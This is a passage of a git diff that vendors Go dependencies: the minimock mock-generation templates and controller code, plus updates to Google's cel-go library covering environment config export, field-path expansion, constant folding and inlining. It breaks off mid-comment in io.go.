{{$method.Name}} invocations corresponds + // the number of defined expectations + func (m *{{$mock}}{{(paramsRef)}}) Minimock{{$method.Name}}Done() bool { + if m.{{$method.Name}}Mock.optional { + // Optional methods provide '0 or more' call count restriction. + return true + } + + for _, e := range m.{{$method.Name}}Mock.expectations { + if mm_atomic.LoadUint64(&e.Counter) < 1 { + return false + } + } + + return m.{{$method.Name}}Mock.invocationsDone() + } + + // Minimock{{$method.Name}}Inspect logs each unmet expectation + func (m *{{$mock}}{{(paramsRef)}}) Minimock{{$method.Name}}Inspect() { + for _, e := range m.{{$method.Name}}Mock.expectations { + if mm_atomic.LoadUint64(&e.Counter) < 1 { + {{- if $method.HasParams}} + m.t.Errorf("Expected call to {{$mock}}.{{$method.Name}} at\n%s with params: %#v", e.expectationOrigins.origin, *e.params) + {{else}} + m.t.Error("Expected call to {{$mock}}.{{$method.Name}}") + {{end -}} + } + } + + after{{$method.Name}}Counter := mm_atomic.LoadUint64(&m.after{{$method.Name}}Counter) + // if default expectation was set then invocations count should be greater than zero + if m.{{$method.Name}}Mock.defaultExpectation != nil && after{{$method.Name}}Counter < 1 { + {{- if $method.HasParams}} + if m.{{$method.Name}}Mock.defaultExpectation.params == nil { + m.t.Errorf("Expected call to {{$mock}}.{{$method.Name}} at\n%s", m.{{$method.Name}}Mock.defaultExpectation.returnOrigin) + } else { + m.t.Errorf("Expected call to {{$mock}}.{{$method.Name}} at\n%s with params: %#v", m.{{$method.Name}}Mock.defaultExpectation.expectationOrigins.origin, *m.{{$method.Name}}Mock.defaultExpectation.params) + } + {{else}} + m.t.Errorf("Expected call to {{$mock}}.{{$method.Name}} at\n%s", m.{{$method.Name}}Mock.defaultExpectation.returnOrigin) + {{end -}} + } + // if func was set then invocations count should be greater than zero + if m.func{{$method.Name}} != nil && after{{$method.Name}}Counter < 1 { + m.t.Errorf("Expected call to {{$mock}}.{{$method.Name}} at\n%s", m.func{{$method.Name}}Origin) + } + + if !m.{{$method.Name}}Mock.invocationsDone() && after{{$method.Name}}Counter > 0 { + m.t.Errorf("Expected %d calls to {{$mock}}.{{$method.Name}} at\n%s but found %d calls", + mm_atomic.LoadUint64(&m.{{$method.Name}}Mock.expectedInvocations), m.{{$method.Name}}Mock.expectedInvocationsOrigin, after{{$method.Name}}Counter) + } + } +{{end}} + +// MinimockFinish checks that all mocked methods have been called the expected number of times +func (m *{{$mock}}{{(paramsRef)}}) MinimockFinish() { + m.finishOnce.Do(func() { + if !m.minimockDone() { + {{- range $method := $.Interface.Methods }} + m.Minimock{{$method.Name}}Inspect() + {{ end -}} + } + }) +} + +// MinimockWait waits for all mocked methods to be called the expected number of times +func (m *{{$mock}}{{(paramsRef)}}) MinimockWait(timeout mm_time.Duration) { + timeoutCh := mm_time.After(timeout) + for { + if m.minimockDone() { + return + } + select { + case <-timeoutCh: + m.MinimockFinish() + return + case <-mm_time.After(10 * mm_time.Millisecond): + } + } +} + +func (m *{{$mock}}{{(paramsRef)}}) minimockDone() bool { + done := true + return done {{ range $method := $.Interface.Methods }}&& + m.Minimock{{$method.Name}}Done(){{end -}} +} \ No newline at end of file diff --git a/vendor/github.com/gojuno/minimock/v3/internal/templates/header.tmpl b/vendor/github.com/gojuno/minimock/v3/internal/templates/header.tmpl new file mode 100644 index 00000000..77a9f579 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/internal/templates/header.tmpl @@ -0,0 +1,24 @@ +{{ $packageName := $.Package.Name }} +{{if $.Options.HeaderVars.PackageName }} + {{ $packageName = $.Options.HeaderVars.PackageName }} +{{end}} + +// Code generated by http://github.com/gojuno/minimock ({{$.Options.HeaderVars.Version}}). DO NOT EDIT. + +package {{$packageName}} + +{{if $.Options.HeaderVars.GenerateInstruction}} + {{if $.Options.HeaderVars.GenerateGoRun}} +//go:generate go run github.com/gojuno/minimock/v3/cmd/minimock -i {{$.SourcePackage.PkgPath}}.{{$.Options.InterfaceName}} -o {{$.Options.HeaderVars.OutputFile}} -n {{(title (index $.Vars "MockName"))}} -p {{ $packageName }} -gr + {{else}} +//go:generate minimock -i {{$.SourcePackage.PkgPath}}.{{$.Options.InterfaceName}} -o {{$.Options.HeaderVars.OutputFile}} -n {{(title (index $.Vars "MockName"))}} -p {{ $packageName }} + {{end}} +{{end}} + +import ( + {{range $import := $.Options.Imports}}{{- if not (in $import "\"time\"" "\"sync/atomic\"" "\"github.com/gojuno/minimock/v3\"")}} + {{$import}}{{end}}{{end}} + mm_atomic "sync/atomic" + mm_time "time" + "github.com/gojuno/minimock/v3" +) \ No newline at end of file diff --git a/vendor/github.com/gojuno/minimock/v3/logo.svg b/vendor/github.com/gojuno/minimock/v3/logo.svg new file mode 100644 index 00000000..b1a0bd82 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/logo.svg @@ -0,0 +1,94 @@ + + + + + + + + + + image/svg+xml + + + + + + + + + + minimock + + + + diff --git a/vendor/github.com/gojuno/minimock/v3/mock_controller.go b/vendor/github.com/gojuno/minimock/v3/mock_controller.go new file mode 100644 index 00000000..7bce5b1a --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/mock_controller.go @@ -0,0 +1,86 @@ +package minimock + +import ( + "sync" + "time" +) + +// Mocker describes common interface for all mocks generated by minimock +type Mocker interface { + MinimockFinish() + MinimockWait(time.Duration) +} + +// Tester contains subset of the testing.T methods used by the generated code +type Tester interface { + Fatal(args ...interface{}) + Fatalf(format string, args ...interface{}) + Error(...interface{}) + Errorf(format string, args ...interface{}) + FailNow() + Cleanup(f func()) + Helper() +} + +// MockController can be passed to mocks generated by minimock +type MockController interface { + Tester + + RegisterMocker(Mocker) +} + +// Controller implements MockController interface and has to be used in your tests: +// mockController := minimock.NewController(t) +// defer mockController.Finish() +// stringerMock := NewStringerMock(mockController) +type Controller struct { + Tester + sync.Mutex + + mockers []Mocker +} + +// Check if Controller supports MockController interface +var _ MockController = &Controller{} + +// NewController returns an instance of Controller +func NewController(t Tester) *Controller { + c := Controller{Tester: newSafeTester(t)} + t.Cleanup(c.Finish) + + return &c +} + +// RegisterMocker puts mocker to the list of controller mockers +func (c *Controller) RegisterMocker(m Mocker) { + c.Lock() + c.mockers = append(c.mockers, m) + c.Unlock() +} + +// Finish calls to MinimockFinish method for all registered mockers +// +// Deprecated: Finish exists for historical compatibility +// and should not be used. Current implementation of controller registers +// Finish as Cleanup function for the testing.T instance passed to NewController. +func (c *Controller) Finish() { + c.Lock() + for _, m := range c.mockers { + m.MinimockFinish() + } + c.Unlock() +} + +// Wait calls to MinimockWait method for all registered mockers +func (c *Controller) Wait(d time.Duration) { + wg := sync.WaitGroup{} + wg.Add(len(c.mockers)) + for _, m := range c.mockers { + go func(m Mocker) { + defer wg.Done() + m.MinimockWait(d) + }(m) + } + + wg.Wait() +} diff --git a/vendor/github.com/gojuno/minimock/v3/safe_tester.go b/vendor/github.com/gojuno/minimock/v3/safe_tester.go new file mode 100644 index 00000000..2ebe2e95 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/safe_tester.go @@ -0,0 +1,48 @@ +package minimock + +import "sync" + +type safeTester struct { + Tester + m sync.Mutex +} + +func newSafeTester(t Tester) *safeTester { + return &safeTester{Tester: t} +} + +// Error implements Tester +func (st *safeTester) Error(args ...interface{}) { + st.m.Lock() + defer st.m.Unlock() + st.Tester.Helper() + + st.Tester.Error(args...) +} + +// Errorf implements Tester +func (st *safeTester) Errorf(format string, args ...interface{}) { + st.m.Lock() + defer st.m.Unlock() + st.Tester.Helper() + + st.Tester.Errorf(format, args...) +} + +// Fatal implements Tester +func (st *safeTester) Fatal(args ...interface{}) { + st.m.Lock() + defer st.m.Unlock() + st.Tester.Helper() + + st.Tester.Fatal(args...) +} + +// Fatalf implements Tester +func (st *safeTester) Fatalf(format string, args ...interface{}) { + st.m.Lock() + defer st.m.Unlock() + st.Tester.Helper() + + st.Tester.Fatalf(format, args...) +} diff --git a/vendor/github.com/gojuno/minimock/v3/template.go b/vendor/github.com/gojuno/minimock/v3/template.go new file mode 100644 index 00000000..6730bb96 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/template.go @@ -0,0 +1,13 @@ +package minimock + +import _ "embed" + +// HeaderTemplate is used to generate package clause and go:generate instruction +// +//go:embed internal/templates/header.tmpl +var HeaderTemplate string + +// BodyTemplate is used to generate mock body +// +//go:embed internal/templates/body.tmpl +var BodyTemplate string diff --git a/vendor/github.com/google/cel-go/cel/BUILD.bazel b/vendor/github.com/google/cel-go/cel/BUILD.bazel index 4a0425a8..46cb26d6 100644 --- a/vendor/github.com/google/cel-go/cel/BUILD.bazel +++ b/vendor/github.com/google/cel-go/cel/BUILD.bazel @@ -10,9 +10,10 @@ go_library( "cel.go", "decls.go", "env.go", + "fieldpaths.go", "folding.go", - "io.go", "inlining.go", + "io.go", "library.go", "macro.go", "optimizer.go", @@ -21,7 +22,7 @@ go_library( "prompt.go", "validator.go", ], - embedsrcs = ["//cel/templates"], + embedsrcs = ["templates/authoring.tmpl"], importpath = "github.com/google/cel-go/cel", visibility = ["//visibility:public"], deps = [ @@ -43,6 +44,7 @@ go_library( "//interpreter:go_default_library", "//parser:go_default_library", "@dev_cel_expr//:expr", + "@dev_cel_expr//conformance/proto3:go_default_library", "@org_golang_google_genproto_googleapis_api//expr/v1alpha1:go_default_library", "@org_golang_google_protobuf//proto:go_default_library", "@org_golang_google_protobuf//reflect/protodesc:go_default_library", @@ -63,9 +65,10 @@ go_test( "cel_test.go", "decls_test.go", "env_test.go", + "fieldpaths_test.go", "folding_test.go", - "io_test.go", "inlining_test.go", + "io_test.go", "optimizer_test.go", "prompt_test.go", "validator_test.go", @@ -78,6 +81,7 @@ go_test( ], embedsrcs = [ "//cel/testdata:prompts", + "//cel/testdata:test_fds_with_source_info", ], deps = [ "//common/operators:go_default_library", @@ -89,10 +93,16 @@ go_test( "//test:go_default_library", "//test/proto2pb:go_default_library", "//test/proto3pb:go_default_library", + "@com_github_google_go_cmp//cmp:go_default_library", "@org_golang_google_genproto_googleapis_api//expr/v1alpha1:go_default_library", - "@org_golang_google_protobuf//proto:go_default_library", "@org_golang_google_protobuf//encoding/prototext:go_default_library", + "@org_golang_google_protobuf//proto:go_default_library", "@org_golang_google_protobuf//types/known/structpb:go_default_library", "@org_golang_google_protobuf//types/known/wrapperspb:go_default_library", ], ) + +exports_files( + ["templates/authoring.tmpl"], + visibility = ["//visibility:public"], +) diff --git a/vendor/github.com/google/cel-go/cel/env.go b/vendor/github.com/google/cel-go/cel/env.go index bb301446..e2de2ff6 100644 --- a/vendor/github.com/google/cel-go/cel/env.go +++ b/vendor/github.com/google/cel-go/cel/env.go @@ -18,6 +18,8 @@ import ( "errors" "fmt" "math" + "slices" + "strings" "sync" "github.com/google/cel-go/checker" @@ -27,6 +29,7 @@ import ( "github.com/google/cel-go/common/containers" "github.com/google/cel-go/common/decls" "github.com/google/cel-go/common/env" + "github.com/google/cel-go/common/functions" "github.com/google/cel-go/common/stdlib" "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" @@ -138,10 +141,14 @@ type Env struct { provider types.Provider features map[int]bool appliedFeatures map[int]bool + limits map[limitID]int libraries map[string]SingletonLibrary validators []ASTValidator costOptions []checker.CostOption + funcBindOnce sync.Once + functionBindings []*functions.Overload + // Internal parser representation prsr *parser.Parser prsrOpts []parser.Option @@ -177,6 +184,16 @@ func (e *Env) ToConfig(name string) (*env.Config, error) { conf.AddImports(env.NewImport(typeName)) } + // Serialize features + for featID, enabled := range e.features { + featName, found := featureNameByID(featID) + if !found { + // If the feature isn't named, it isn't intended to be publicly exposed + continue + } + conf.AddFeatures(env.NewFeature(featName, enabled)) + } + libOverloads := map[string][]string{} for libName, lib := range e.libraries { // Track the options which have been configured by a library and @@ -237,7 +254,7 @@ func (e *Env) ToConfig(name string) (*env.Config, error) { fields := e.contextProto.Fields() for i := 0; i < fields.Len(); i++ { field := fields.Get(i) - variable, err := fieldToVariable(field) + variable, err := fieldToVariable(field, e.HasFeature(featureJSONFieldNames)) if err != nil { return nil, fmt.Errorf("could not serialize context field variable %q, reason: %w", field.FullName(), err) } @@ -272,16 +289,45 @@ func (e *Env) ToConfig(name string) (*env.Config, error) { } } - // Serialize features - for featID, enabled := range e.features { - featName, found := featureNameByID(featID) - if !found { - // If the feature isn't named, it isn't intended to be publicly exposed + for id, val := range e.limits { + limitName, found := limitNameByID(id) + if !found || val == 0 { + // skip if explicitly defaulted or not supported in config continue } - conf.AddFeatures(env.NewFeature(featName, enabled)) + conf.AddLimits(env.NewLimit(limitName, val)) } + // Sort repeated fields in config where reasonable to make the export + // stable. + slices.SortFunc(conf.Imports, func(a *env.Import, b *env.Import) int { + return strings.Compare(a.Name, b.Name) + }) + + slices.SortFunc(conf.Extensions, func(a *env.Extension, b *env.Extension) int { + return strings.Compare(a.Name, b.Name) + }) + + slices.SortFunc(conf.Variables, func(a *env.Variable, b *env.Variable) int { + return strings.Compare(a.Name, b.Name) + }) + + slices.SortFunc(conf.Functions, func(a *env.Function, b *env.Function) int { + return strings.Compare(a.Name, b.Name) + }) + + slices.SortFunc(conf.Validators, func(a *env.Validator, b *env.Validator) int { + return strings.Compare(a.Name, b.Name) + }) + + slices.SortFunc(conf.Features, func(a *env.Feature, b *env.Feature) int { + return strings.Compare(a.Name, b.Name) + }) + + slices.SortFunc(conf.Limits, func(a *env.Limit, b *env.Limit) int { + return strings.Compare(a.Name, b.Name) + }) + return conf, nil } @@ -315,23 +361,25 @@ func NewEnv(opts ...EnvOption) (*Env, error) { // See the EnvOption helper functions for the options that can be used to configure the // environment. func NewCustomEnv(opts ...EnvOption) (*Env, error) { - registry, err := types.NewRegistry() + registry, err := types.NewProtoRegistry() if err != nil { return nil, err } return (&Env{ - variables: []*decls.VariableDecl{}, - functions: map[string]*decls.FunctionDecl{}, - macros: []parser.Macro{}, - Container: containers.DefaultContainer, - adapter: registry, - provider: registry, - features: map[int]bool{}, - appliedFeatures: map[int]bool{}, - libraries: map[string]SingletonLibrary{}, - validators: []ASTValidator{}, - progOpts: []ProgramOption{}, - costOptions: []checker.CostOption{}, + variables: []*decls.VariableDecl{}, + functions: map[string]*decls.FunctionDecl{}, + functionBindings: []*functions.Overload{}, + macros: []parser.Macro{}, + Container: containers.DefaultContainer, + adapter: registry, + provider: registry, + features: map[int]bool{}, + appliedFeatures: map[int]bool{}, + limits: map[limitID]int{}, + libraries: map[string]SingletonLibrary{}, + validators: []ASTValidator{}, + progOpts: []ProgramOption{}, + costOptions: []checker.CostOption{}, }).configure(opts) } @@ -492,6 +540,10 @@ func (e *Env) Extend(opts ...EnvOption) (*Env, error) { for k, v := range e.appliedFeatures { appliedFeaturesCopy[k] = v } + limitsCopy := make(map[limitID]int, len(e.limits)) + for k, v := range e.limits { + limitsCopy[k] = v + } funcsCopy := make(map[string]*decls.FunctionDecl, len(e.functions)) for k, v := range e.functions { funcsCopy[k] = v @@ -502,6 +554,7 @@ func (e *Env) Extend(opts ...EnvOption) (*Env, error) { } validatorsCopy := make([]ASTValidator, len(e.validators)) copy(validatorsCopy, e.validators) + costOptsCopy := make([]checker.CostOption, len(e.costOptions)) copy(costOptsCopy, e.costOptions) @@ -514,6 +567,7 @@ func (e *Env) Extend(opts ...EnvOption) (*Env, error) { progOpts: progOptsCopy, adapter: adapter, features: featuresCopy, + limits: limitsCopy, appliedFeatures: appliedFeaturesCopy, libraries: libsCopy, validators: validatorsCopy, @@ -780,11 +834,32 @@ func (e *Env) configure(opts []EnvOption) (*Env, error) { if e.HasFeature(featureIdentEscapeSyntax) { prsrOpts = append(prsrOpts, parser.EnableIdentEscapeSyntax(true)) } + if l := e.limits[limitParseErrorRecovery]; l != 0 { + prsrOpts = append(prsrOpts, parser.ErrorRecoveryLimit(l)) + } + if l := e.limits[limitCodePointSize]; l != 0 { + prsrOpts = append(prsrOpts, parser.ExpressionSizeCodePointLimit(l)) + } + if l := e.limits[limitParseRecursionDepth]; l != 0 { + prsrOpts = append(prsrOpts, parser.MaxRecursionDepth(l)) + } e.prsr, err = parser.NewParser(prsrOpts...) if err != nil { return nil, err } + // Enable JSON field names is using a proto-based *types.Registry + if e.HasFeature(featureJSONFieldNames) { + reg, isReg := e.provider.(*types.Registry) + if !isReg { + return nil, fmt.Errorf("JSONFieldNames() option is only compatible with *types.Registry providers") + } + err := reg.WithJSONFieldNames(true) + if err != nil { + return nil, err + } + } + // Ensure that the checker init happens eagerly rather than lazily. if e.HasFeature(featureEagerlyValidateDeclarations) { _, err := e.initChecker() @@ -803,6 +878,8 @@ func (e *Env) initChecker() (*checker.Env, error) { chkOpts = append(chkOpts, checker.CrossTypeNumericComparisons( e.HasFeature(featureCrossTypeNumericComparisons))) + chkOpts = append(chkOpts, + checker.JSONFieldNames(e.HasFeature(featureJSONFieldNames))) ce, err := checker.NewEnv(e.Container, e.provider, chkOpts...) if err != nil { @@ -872,6 +949,16 @@ type Issues struct { info *celast.SourceInfo } +// ErrorAsIssues wraps a Golang error into a CEL common error and issue set. +// +// This is a convenience method for early returning from an expression validation call path due to +// internal state or configuration which is unrelated to the source being validated. +func ErrorAsIssues(err error) *Issues { + errs := common.NewErrors(common.NewTextSource("")) + errs.ReportErrorString(common.NoLocation, err.Error()) + return NewIssues(errs) +} + // NewIssues returns an Issues struct from a common.Errors object. func NewIssues(errs *common.Errors) *Issues { return NewIssuesWithSourceInfo(errs, nil) @@ -980,9 +1067,10 @@ func (p *interopCELTypeProvider) FindStructFieldType(structType, fieldName strin return nil, false } return &types.FieldType{ - Type: t, - IsSet: ft.IsSet, - GetFrom: ft.GetFrom, + Type: t, + IsSet: ft.IsSet, + GetFrom: ft.GetFrom, + IsJSONField: ft.IsJSONField, }, true } return nil, false diff --git a/vendor/github.com/google/cel-go/cel/fieldpaths.go b/vendor/github.com/google/cel-go/cel/fieldpaths.go new file mode 100644 index 00000000..570fce3a --- /dev/null +++ b/vendor/github.com/google/cel-go/cel/fieldpaths.go @@ -0,0 +1,163 @@ +package cel + +import ( + "slices" + "strings" + + "github.com/google/cel-go/common" + "github.com/google/cel-go/common/types" +) + +// fieldPath represents a selection path to a field from a variable in a CEL environment. +type fieldPath struct { + celType *Type + // path represents the selection path to the field. + path string + description string + isLeaf bool +} + +// Documentation implements the Documentor interface. +func (f *fieldPath) Documentation() *common.Doc { + return common.NewFieldDoc(f.path, f.celType.String(), f.description) +} + +type documentationProvider interface { + // FindStructFieldDescription returns documentation for a field if available. + // Returns false if the field could not be found. + FindStructFieldDescription(typeName, fieldName string) (string, bool) +} + +type backtrack struct { + // provider used to resolve types. + provider types.Provider + // paths of fields that have been visited along the path. + path []string + // types of fields that have been visited along the path. used to avoid cycles. + types []*Type +} + +func (b *backtrack) push(pathStep string, celType *Type) { + b.path = append(b.path, pathStep) + b.types = append(b.types, celType) +} + +func (b *backtrack) pop() { + b.path = b.path[:len(b.path)-1] + b.types = b.types[:len(b.types)-1] +} + +func formatPath(path []string) string { + var buffer strings.Builder + for i, p := range path { + if i == 0 { + buffer.WriteString(p) + continue + } + if strings.HasPrefix(p, "[") { + buffer.WriteString(p) + continue + } + buffer.WriteString(".") + buffer.WriteString(p) + } + return buffer.String() +} + +func (b *backtrack) expandFieldPaths(celType *Type, paths []*fieldPath) []*fieldPath { + if slices.ContainsFunc(b.types[:len(b.types)-1], func(t *Type) bool { return t.String() == celType.String() }) { + // Cycle detected, so stop expanding. + paths[len(paths)-1].isLeaf = false + return paths + } + switch celType.Kind() { + case types.StructKind: + fields, ok := b.provider.FindStructFieldNames(celType.String()) + if !ok { + // Caller added this type to the path, so it must be a leaf. + paths[len(paths)-1].isLeaf = true + return paths + } + for _, field := range fields { + fieldType, ok := b.provider.FindStructFieldType(celType.String(), field) + if !ok { + // Field not found, either hidden or an error. + continue + } + b.push(field, celType) + description := "" + if docProvider, ok := b.provider.(documentationProvider); ok { + description, _ = docProvider.FindStructFieldDescription(celType.String(), field) + } + path := &fieldPath{ + celType: fieldType.Type, + path: formatPath(b.path), + description: description, + isLeaf: false, + } + paths = append(paths, path) + paths = b.expandFieldPaths(fieldType.Type, paths) + b.pop() + } + return paths + case types.MapKind: + if len(celType.Parameters()) != 2 { + // dynamic map, so treat as a leaf. + paths[len(paths)-1].isLeaf = true + return paths + } + mapKeyType := celType.Parameters()[0] + mapValueType := celType.Parameters()[1] + // Add a placeholder for the map key kind (the zero value). + keyIdentifier := "" + switch mapKeyType.Kind() { + case types.StringKind: + keyIdentifier = "[\"\"]" + case types.IntKind: + keyIdentifier = "[0]" + case types.UintKind: + keyIdentifier = "[0u]" + case types.BoolKind: + keyIdentifier = "[false]" + default: + // Caller added this type to the path, so it must be a leaf. + paths[len(paths)-1].isLeaf = true + return paths + } + b.push(keyIdentifier, mapValueType) + defer b.pop() + return b.expandFieldPaths(mapValueType, paths) + case types.ListKind: + if len(celType.Parameters()) != 1 { + // dynamic list, so treat as a leaf. + paths[len(paths)-1].isLeaf = true + return paths + } + listElemType := celType.Parameters()[0] + b.push("[0]", listElemType) + defer b.pop() + return b.expandFieldPaths(listElemType, paths) + default: + paths[len(paths)-1].isLeaf = true + } + + return paths +} + +// fieldPathsForType expands the reachable fields from the given root identifier. +func fieldPathsForType(provider types.Provider, identifier string, celType *Type) []*fieldPath { + b := &backtrack{ + provider: provider, + path: []string{identifier}, + types: []*Type{celType}, + } + paths := []*fieldPath{ + { + celType: celType, + path: identifier, + isLeaf: false, + }, + } + + return b.expandFieldPaths(celType, paths) +} diff --git a/vendor/github.com/google/cel-go/cel/folding.go b/vendor/github.com/google/cel-go/cel/folding.go index 0c7ecc61..d1ea6b19 100644 --- a/vendor/github.com/google/cel-go/cel/folding.go +++ b/vendor/github.com/google/cel-go/cel/folding.go @@ -38,6 +38,23 @@ func MaxConstantFoldIterations(limit int) ConstantFoldingOption { } } +// FoldKnownValues adds an Activation which provides known values for the folding evaluator +// +// Any values the activation provides will be used by the constant folder and turned into +// literals in the AST. +// +// Defaults to the NoVars() Activation +func FoldKnownValues(knownValues Activation) ConstantFoldingOption { + return func(opt *constantFoldingOptimizer) (*constantFoldingOptimizer, error) { + if knownValues != nil { + opt.knownValues = knownValues + } else { + opt.knownValues = NoVars() + } + return opt, nil + } +} + // NewConstantFoldingOptimizer creates an optimizer which inlines constant scalar an aggregate // literal values within function calls and select statements with their evaluated result. func NewConstantFoldingOptimizer(opts ...ConstantFoldingOption) (ASTOptimizer, error) { @@ -56,6 +73,7 @@ func NewConstantFoldingOptimizer(opts ...ConstantFoldingOption) (ASTOptimizer, e type constantFoldingOptimizer struct { maxFoldIterations int + knownValues Activation } // Optimize queries the expression graph for scalar and aggregate literal expressions within call and @@ -68,7 +86,7 @@ func (opt *constantFoldingOptimizer) Optimize(ctx *OptimizerContext, a *ast.AST) // Walk the list of foldable expression and continue to fold until there are no more folds left. // All of the fold candidates returned by the constantExprMatcher should succeed unless there's // a logic bug with the selection of expressions. - constantExprMatcherCapture := func(e ast.NavigableExpr) bool { return constantExprMatcher(ctx, a, e) } + constantExprMatcherCapture := func(e ast.NavigableExpr) bool { return opt.constantExprMatcher(ctx, a, e) } foldableExprs := ast.MatchDescendants(root, constantExprMatcherCapture) foldCount := 0 for len(foldableExprs) != 0 && foldCount < opt.maxFoldIterations { @@ -83,8 +101,10 @@ func (opt *constantFoldingOptimizer) Optimize(ctx *OptimizerContext, a *ast.AST) continue } // Otherwise, assume all context is needed to evaluate the expression. - err := tryFold(ctx, a, fold) - if err != nil { + err := opt.tryFold(ctx, a, fold) + // Ignore errors for identifiers, since there is no guarantee that the environment + // has a value for them. + if err != nil && fold.Kind() != ast.IdentKind { ctx.ReportErrorAtID(fold.ID(), "constant-folding evaluation failed: %v", err.Error()) return a } @@ -96,7 +116,7 @@ func (opt *constantFoldingOptimizer) Optimize(ctx *OptimizerContext, a *ast.AST) // one last time. In this case, there's no guarantee they'll run, so we only update the // target comprehension node with the literal value if the evaluation succeeds. for _, compre := range ast.MatchDescendants(root, ast.KindMatcher(ast.ComprehensionKind)) { - tryFold(ctx, a, compre) + opt.tryFold(ctx, a, compre) } // If the output is a list, map, or struct which contains optional entries, then prune it @@ -126,7 +146,7 @@ func (opt *constantFoldingOptimizer) Optimize(ctx *OptimizerContext, a *ast.AST) // // If the evaluation succeeds, the input expr value will be modified to become a literal, otherwise // the method will return an error. -func tryFold(ctx *OptimizerContext, a *ast.AST, expr ast.Expr) error { +func (opt *constantFoldingOptimizer) tryFold(ctx *OptimizerContext, a *ast.AST, expr ast.Expr) error { // Assume all context is needed to evaluate the expression. subAST := &Ast{ impl: ast.NewCheckedAST(ast.NewAST(expr, a.SourceInfo()), a.TypeMap(), a.ReferenceMap()), @@ -135,7 +155,11 @@ func tryFold(ctx *OptimizerContext, a *ast.AST, expr ast.Expr) error { if err != nil { return err } - out, _, err := prg.Eval(NoVars()) + activation := opt.knownValues + if activation == nil { + activation = NoVars() + } + out, _, err := prg.Eval(activation) if err != nil { return err } @@ -469,13 +493,15 @@ func adaptLiteral(ctx *OptimizerContext, val ref.Val) (ast.Expr, error) { // Only comprehensions which are not nested are included as possible constant folds, and only // if all variables referenced in the comprehension stack exist are only iteration or // accumulation variables. -func constantExprMatcher(ctx *OptimizerContext, a *ast.AST, e ast.NavigableExpr) bool { +func (opt *constantFoldingOptimizer) constantExprMatcher(ctx *OptimizerContext, a *ast.AST, e ast.NavigableExpr) bool { switch e.Kind() { case ast.CallKind: return constantCallMatcher(e) case ast.SelectKind: sel := e.AsSelect() // guaranteed to be a navigable value return constantMatcher(sel.Operand().(ast.NavigableExpr)) + case ast.IdentKind: + return opt.knownValues != nil && a.ReferenceMap()[e.ID()] != nil case ast.ComprehensionKind: if isNestedComprehension(e) { return false diff --git a/vendor/github.com/google/cel-go/cel/inlining.go b/vendor/github.com/google/cel-go/cel/inlining.go index a4530e19..d9a5e89a 100644 --- a/vendor/github.com/google/cel-go/cel/inlining.go +++ b/vendor/github.com/google/cel-go/cel/inlining.go @@ -178,9 +178,38 @@ func (opt *inliningOptimizer) rewritePresenceExpr(ctx *OptimizerContext, prev, i )) return } + if zeroValExpr, ok := zeroValueExpr(ctx, inlinedType); ok { + ctx.UpdateExpr(prev, + ctx.NewCall(operators.NotEquals, + inlined, zeroValExpr)) + return + } ctx.ReportErrorAtID(prev.ID(), "unable to inline expression type %v into presence test", inlinedType) } +// zeroValueExpr creates an expression representing the empty or zero value for the given type +// Note: bytes, lists, maps, and strings are supported via the `SizerType` trait. +func zeroValueExpr(ctx *OptimizerContext, t *Type) (ast.Expr, bool) { + // Note: bytes, strings, lists, and maps are covered by the "sizer-type" check + switch t.Kind() { + case types.BoolKind: + return ctx.NewLiteral(types.False), true + case types.DoubleKind: + return ctx.NewLiteral(types.Double(0)), true + case types.DurationKind: + return ctx.NewCall(overloads.TypeConvertDuration, ctx.NewLiteral(types.String("0s"))), true + case types.IntKind: + return ctx.NewLiteral(types.IntZero), true + case types.TimestampKind: + return ctx.NewCall(overloads.TypeConvertTimestamp, ctx.NewLiteral(types.Int(0))), true + case types.StructKind: + return ctx.NewStruct(t.TypeName(), []ast.EntryExpr{}), true + case types.UintKind: + return ctx.NewLiteral(types.Uint(0)), true + } + return nil, false +} + // isBindable indicates whether the inlined type can be used within a cel.bind() if the expression // being replaced occurs within a presence test. Value types with a size() method or field selection // support can be bound. @@ -212,17 +241,43 @@ func isBindable(matches []ast.NavigableExpr, inlined ast.Expr, inlinedType *Type // field selection. This may be a future refinement. func (opt *inliningOptimizer) matchVariable(varName string) ast.ExprMatcher { return func(e ast.NavigableExpr) bool { - if e.Kind() == ast.IdentKind && e.AsIdent() == varName { - return true + name, found := maybeAsVariableName(e) + if !found || name != varName { + return false + } + + // Determine whether the variable being referenced has been shadowed by a comprehension + p, hasParent := e.Parent() + for hasParent { + if p.Kind() != ast.ComprehensionKind { + p, hasParent = p.Parent() + continue + } + // If the inline variable name matches any of the comprehension variables at any scope, + // return false as the variable has been shadowed. + compre := p.AsComprehension() + if varName == compre.AccuVar() || varName == compre.IterVar() || varName == compre.IterVar2() { + return false + } + p, hasParent = p.Parent() } - if e.Kind() == ast.SelectKind { - sel := e.AsSelect() - // While the `ToQualifiedName` call could take the select directly, this - // would skip presence tests from possible matches, which we would like - // to include. - qualName, found := containers.ToQualifiedName(sel.Operand()) - return found && qualName+"."+sel.FieldName() == varName + + return true + } +} + +func maybeAsVariableName(e ast.NavigableExpr) (string, bool) { + if e.Kind() == ast.IdentKind { + return e.AsIdent(), true + } + if e.Kind() == ast.SelectKind { + sel := e.AsSelect() + // While the `ToQualifiedName` call could take the select directly, this + // would skip presence tests from possible matches, which we would like + // to include. + if qualName, found := containers.ToQualifiedName(sel.Operand()); found { + return qualName + "." + sel.FieldName(), true } - return false } + return "", false } diff --git a/vendor/github.com/google/cel-go/cel/io.go b/vendor/github.com/google/cel-go/cel/io.go index 7b1a4bed..2e611228 100644 --- a/vendor/github.com/google/cel-go/cel/io.go +++ b/vendor/github.com/google/cel-go/cel/io.go @@ -126,6 +126,55 @@ func ValueAsAlphaProto(res ref.Val) (*exprpb.Value, error) { return alpha, err } +// RefValToExprValue converts between ref.Val and google.api.expr.v1alpha1.ExprValue. +// The result ExprValue is the serialized proto form. +func RefValToExprValue(res ref.Val) (*exprpb.ExprValue, error) { + return ExprValueAsAlphaProto(res) +} + +// ExprValueAsAlphaProto converts between ref.Val and google.api.expr.v1alpha1.ExprValue. +// The result ExprValue is the serialized proto form. +func ExprValueAsAlphaProto(res ref.Val) (*exprpb.ExprValue, error) { + canonical, err := ExprValueAsProto(res) + if err != nil { + return nil, err + } + alpha := &exprpb.ExprValue{} + err = convertProto(canonical, alpha) + return alpha, err +} + +// ExprValueAsProto converts between ref.Val and 